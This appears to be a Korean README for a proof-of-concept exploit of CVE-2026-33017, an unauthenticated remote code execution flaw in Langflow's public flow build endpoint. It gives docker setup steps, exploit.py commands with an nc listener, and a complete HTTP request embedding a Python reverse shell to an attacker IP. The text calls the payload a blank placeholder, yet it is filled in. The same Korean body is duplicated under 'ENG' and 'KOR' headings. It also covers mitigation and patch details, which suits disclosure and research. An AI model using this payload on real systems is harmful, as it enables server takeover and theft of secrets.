CVE-2026-33017 Langflow RCE

★ CVE-2026-33017 Langflow 원격 코드 실행 PoC ★

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환경 구축

다음 명령어를 사용하여 취약한 Langflow 환경을 빌드하고 실행합니다:

docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln

PoC 사용 방법

취약한 Langflow 인스턴스를 시작한 후, 대상 URL, Public 플로우 ID, 공격자 콜백 주소를 지정하여 PoC를 실행합니다.

옵션 A — 자체 리스너 사용:

# Terminal 1: start a listener
nc -lvnp 4444

# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444

옵션 B — --listen으로 내장 리스너 사용:

python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen

ENG

CVE-2026-33017은 오픈소스 AI 워크플로우 플랫폼 Langflow의 Public 플로우 빌드 과정에서 발생하는 원격 코드 실행(Remote Code Execution, RCE) 취약점이다.
공격자는 인증 없이 build_public_tmp 엔드포인트에 조작된 플로우 데이터를 전달함으로써, 서버 측에서 임의 Python 코드 실행을 유도할 수 있다.

개요

CVE-2026-33017은 LLM 애플리케이션과 AI 워크플로우를 시각적으로 구성할 수 있는 오픈소스 플랫폼 Langflow의 Public 플로우 빌드 엔드포인트인 아래 API에서 발생한다.

POST /api/v1/build_public_tmp/{flow_id}/flow

Langflow의 Public 플로우는 다른 사용자가 링크 등을 통해 불러와 사용할 수 있도록 외부에 공개되는 플로우이다.
이 기능은 인증 없이도 해당 플로우를 실행 가능한 상태로 준비할 수 있도록 설계되어 있으며, 빌드 엔드포인트는 플로우를 구성하는 노드, 연결 관계, 설정값 등을 바탕으로 내부 실행 그래프를 생성하고 각 블록이 실제로 동작할 수 있도록 준비하는 역할을 수행한다.

문제는 취약한 버전의 build_public_tmp 엔드포인트가 요청 바디에 포함된 data 값도 함께 받아들였다는 점이다.

이 data에는 다음과 같은 플로우 전체 정의가 포함될 수 있다.

• 노드 목록
• 노드 간 연결 관계
• 각 노드의 세부 설정값
• 실행에 필요한 템플릿 및 커스텀 컴포넌트 정보

즉, 공격자는 인증 없는 요청으로 서버에 저장된 정상 플로우 대신 자신이 조작한 플로우 구조 전체를 주입할 수 있었다.

이 과정에서 특히 위험한 요소는 커스텀 컴포넌트(Custom Component) 이다.
Langflow에서 컴포넌트는 입력 처리, 모델 호출, 출력 생성 등 개별 기능을 담당하는 블록이며, 커스텀 컴포넌트는 사용자가 Python 코드로 직접 정의할 수 있는 확장형 블록이다.

공격자는 조작한 data 내부에 악성 Python 코드가 포함된 커스텀 컴포넌트를 삽입할 수 있었고, 서버는 이를 정상적인 플로우 구성 요소처럼 처리했다. 그 결과, 해당 코드가 빌드/실행 흐름에서 실제로 해석·실행되며 원격 코드 실행이 가능해졌다.

영향을 받는 버전

GitHub Security Advisory는 영향 범위를 <= 1.8.2로 표기하지만, 실제 패치(data 파라미터 제거)는 1.9.0에 반영되었다. 따라서 1.8.3·1.8.4를 포함해 1.9.0 이전의 모든 버전이 취약하며, CVE Record도 이를 < 1.9.0으로 명시한다.

영향

이 취약점을 통해 공격자는 Langflow 서버를 제어한 뒤 추가 행위를 수행할 수 있다. 대표적인 영향은 다음과 같다.

• 서버 셸 획득
• 환경 변수 및 비밀정보 유출
• 추가 악성 코드 설치 및 지속성 확보

개념 증명(PoC)

아래 PoC는 Langflow 1.8.1 환경에서 CVE-2026-33017을 재현하는 예시이다.

1) Public 플로우 ID 확인

공격자는 공격 대상이 되는 Public 플로우의 flow_id 를 먼저 파악한다.

2) 악성 커스텀 컴포넌트 빌드 요청

공격자는 커스텀 컴포넌트의 Python code가 임시 빌드 과정에서 서버에서 실행되도록 조작한 build_public_tmp 요청을 전송한다. 아래 요청의 code 값은 자리표시자로 비워 두었으며, 페이로드는 직접 채워 넣어야 한다(요청 아래 안내 참고).

POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close

{
  "data": {
    "nodes": [
      {
        "id": "Exploit",
        "data": {
          "id": "Exploit",
          "type": "ExploitComp",
          "node": {
            "template": {
              "_type": "Component",
              "code": {
                "type": "code",
                "value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name = 'X'\n    outputs = [Output(display_name='O', name='o', method='r')]\n\n    def r(self) -> Data:\n        import socket,subprocess\n        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        s.connect(('192.168.102.178', 4444))\n        p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n        p.wait()\n        return Data(data={'ok': 1})"
              }
            },
            "outputs": [
              { "types": ["Data"], "name": "o", "method": "r" }
            ]
          }
        }
      }
    ],
    "edges": []
  }
}

3) 쉘 탈취

빌드 과정에서 커스텀 컴포넌트에 포함된 코드가 서버에서 실행된다. exploit.py가 자동화하는 리버스 셸 방식을 사용하면 공격자 측 리스너로 연결이 수립되어, 공격자는 서버 상에서 임의 명령을 실행할 수 있는 대화형 셸을 획득한다.

기술 분석

취약 버전의 build_public_tmp 엔드포인트는 Public 플로우를 위한 빌드 API 임에도 불구하고, 요청 본문에서 data 값을 직접 받을 수 있었다.

이 설계 때문에 공격자가 전달한 data는 서버 측 빌드 로직에 그대로 반영되었고, 그 내부에 포함된 커스텀 컴포넌트의 Python 코드 역시 정상 플로우 구성 요소처럼 처리되었다.

결과적으로 공격자는 서버에 저장된 원래의 Public 플로우를 따르지 않고, 자신이 만든 악성 플로우 정의를 그대로 주입할 수 있었으며, 이 안에 포함된 악성 코드가 서버에서 실행될 수 있었다.

패치 이후에는 build_public_tmp에서 더 이상 외부 요청으로부터 data를 받지 않도록 수정되었다.
즉, 공격자가 요청 바디를 통해 플로우 정의 자체를 주입하는 경로가 차단되었고, 이로 인해 커스텀 컴포넌트를 통한 임의 코드 실행 또한 불가능해졌다.

완화 방법

• Langflow 1.9.0 이상으로 업데이트
• 불필요한 Public 플로우 노출 제거
• Langflow 인스턴스를 외부에 직접 노출하지 않도록 네트워크 제한

참고 자료

• GitHub Security Advisory: GHSA-vwmf-pq79-vjvx
• NVD: CVE-2026-33017
• Patch Commit: 73b6612e3ef25fdae0a752d75b0fabd47328d4f0

Analysis

• KR:
• EN:

KOR

CVE-2026-33017은 오픈소스 AI 워크플로우 플랫폼 Langflow의 Public 플로우 빌드 과정에서 발생하는 원격 코드 실행(Remote Code Execution, RCE) 취약점이다.
공격자는 인증 없이 build_public_tmp 엔드포인트에 조작된 플로우 데이터를 전달함으로써, 서버 측에서 임의 Python 코드 실행을 유도할 수 있다.

Overview

CVE-2026-33017은 LLM 애플리케이션과 AI 워크플로우를 시각적으로 구성할 수 있는 오픈소스 플랫폼 Langflow의 Public 플로우 빌드 엔드포인트인 아래 API에서 발생한다.

POST /api/v1/build_public_tmp/{flow_id}/flow

Langflow의 Public 플로우는 다른 사용자가 링크 등을 통해 불러와 사용할 수 있도록 외부에 공개되는 플로우이다.
이 기능은 인증 없이도 해당 플로우를 실행 가능한 상태로 준비할 수 있도록 설계되어 있으며, 빌드 엔드포인트는 플로우를 구성하는 노드, 연결 관계, 설정값 등을 바탕으로 내부 실행 그래프를 생성하고 각 블록이 실제로 동작할 수 있도록 준비하는 역할을 수행한다.

문제는 취약한 버전의 build_public_tmp 엔드포인트가 요청 바디에 포함된 data 값도 함께 받아들였다는 점이다.

이 data에는 다음과 같은 플로우 전체 정의가 포함될 수 있다.

• 노드 목록
• 노드 간 연결 관계
• 각 노드의 세부 설정값
• 실행에 필요한 템플릿 및 커스텀 컴포넌트 정보

즉, 공격자는 인증 없는 요청으로 서버에 저장된 정상 플로우 대신 자신이 조작한 플로우 구조 전체를 주입할 수 있었다.

이 과정에서 특히 위험한 요소는 커스텀 컴포넌트(Custom Component) 이다.
Langflow에서 컴포넌트는 입력 처리, 모델 호출, 출력 생성 등 개별 기능을 담당하는 블록이며, 커스텀 컴포넌트는 사용자가 Python 코드로 직접 정의할 수 있는 확장형 블록이다.

공격자는 조작한 data 내부에 악성 Python 코드가 포함된 커스텀 컴포넌트를 삽입할 수 있었고, 서버는 이를 정상적인 플로우 구성 요소처럼 처리했다. 그 결과, 해당 코드가 빌드/실행 흐름에서 실제로 해석·실행되며 원격 코드 실행이 가능해졌다.

Affected Versions

GitHub Security Advisory는 영향 범위를 <= 1.8.2로 표기하지만, 실제 패치(data 파라미터 제거)는 1.9.0에 반영되었다. 따라서 1.8.3·1.8.4를 포함해 1.9.0 이전의 모든 버전이 취약하며, CVE Record도 이를 < 1.9.0으로 명시한다.

Impact

이 취약점을 통해 공격자는 Langflow 서버를 제어한 뒤 추가 행위를 수행할 수 있다. 대표적인 영향은 다음과 같다.

• 서버 셸 획득
• 환경 변수 및 비밀정보 유출
• 추가 악성 코드 설치 및 지속성 확보

Proof of Concept

아래 PoC는 Langflow 1.8.1 환경에서 CVE-2026-33017을 재현하는 예시이다.

1) Public 플로우 ID 확인

공격자는 공격 대상이 되는 Public 플로우의 flow_id 를 먼저 파악한다.

2) 악성 커스텀 컴포넌트 빌드 요청

공격자는 커스텀 컴포넌트의 Python code가 임시 빌드 과정에서 서버에서 실행되도록 조작한 build_public_tmp 요청을 전송한다. 아래 요청의 code 값은 자리표시자로 비워 두었으며, 페이로드는 직접 채워 넣어야 한다(요청 아래 안내 참고).

POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close

{
  "data": {
    "nodes": [
      {
        "id": "Exploit",
        "data": {
          "id": "Exploit",
          "type": "ExploitComp",
          "node": {
            "template": {
              "_type": "Component",
              "code": {
                "type": "code",
                "value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name = 'X'\n    outputs = [Output(display_name='O', name='o', method='r')]\n\n    def r(self) -> Data:\n        import socket,subprocess\n        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        s.connect(('192.168.102.178', 4444))\n        p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n        p.wait()\n        return Data(data={'ok': 1})"
              }
            },
            "outputs": [
              { "types": ["Data"], "name": "o", "method": "r" }
            ]
          }
        }
      }
    ],
    "edges": []
  }
}

3) 쉘 탈취

빌드 과정에서 커스텀 컴포넌트에 포함된 코드가 서버에서 실행된다. exploit.py가 자동화하는 리버스 셸 방식을 사용하면 공격자 측 리스너로 연결이 수립되어, 공격자는 서버 상에서 임의 명령을 실행할 수 있는 대화형 셸을 획득한다.

Technical Analysis

취약 버전의 build_public_tmp 엔드포인트는 Public 플로우를 위한 빌드 API 임에도 불구하고, 요청 본문에서 data 값을 직접 받을 수 있었다.

이 설계 때문에 공격자가 전달한 data는 서버 측 빌드 로직에 그대로 반영되었고, 그 내부에 포함된 커스텀 컴포넌트의 Python 코드 역시 정상 플로우 구성 요소처럼 처리되었다.

결과적으로 공격자는 서버에 저장된 원래의 Public 플로우를 따르지 않고, 자신이 만든 악성 플로우 정의를 그대로 주입할 수 있었으며, 이 안에 포함된 악성 코드가 서버에서 실행될 수 있었다.

패치 이후에는 build_public_tmp에서 더 이상 외부 요청으로부터 data를 받지 않도록 수정되었다.
즉, 공격자가 요청 바디를 통해 플로우 정의 자체를 주입하는 경로가 차단되었고, 이로 인해 커스텀 컴포넌트를 통한 임의 코드 실행 또한 불가능해졌다.

Mitigation

• Langflow 1.9.0 이상으로 업데이트
• 불필요한 Public 플로우 노출 제거
• Langflow 인스턴스를 외부에 직접 노출하지 않도록 네트워크 제한

References

• GitHub Security Advisory: GHSA-vwmf-pq79-vjvx
• NVD: CVE-2026-33017
• Patch Commit: 73b6612e3ef25fdae0a752d75b0fabd47328d4f0

Analysis

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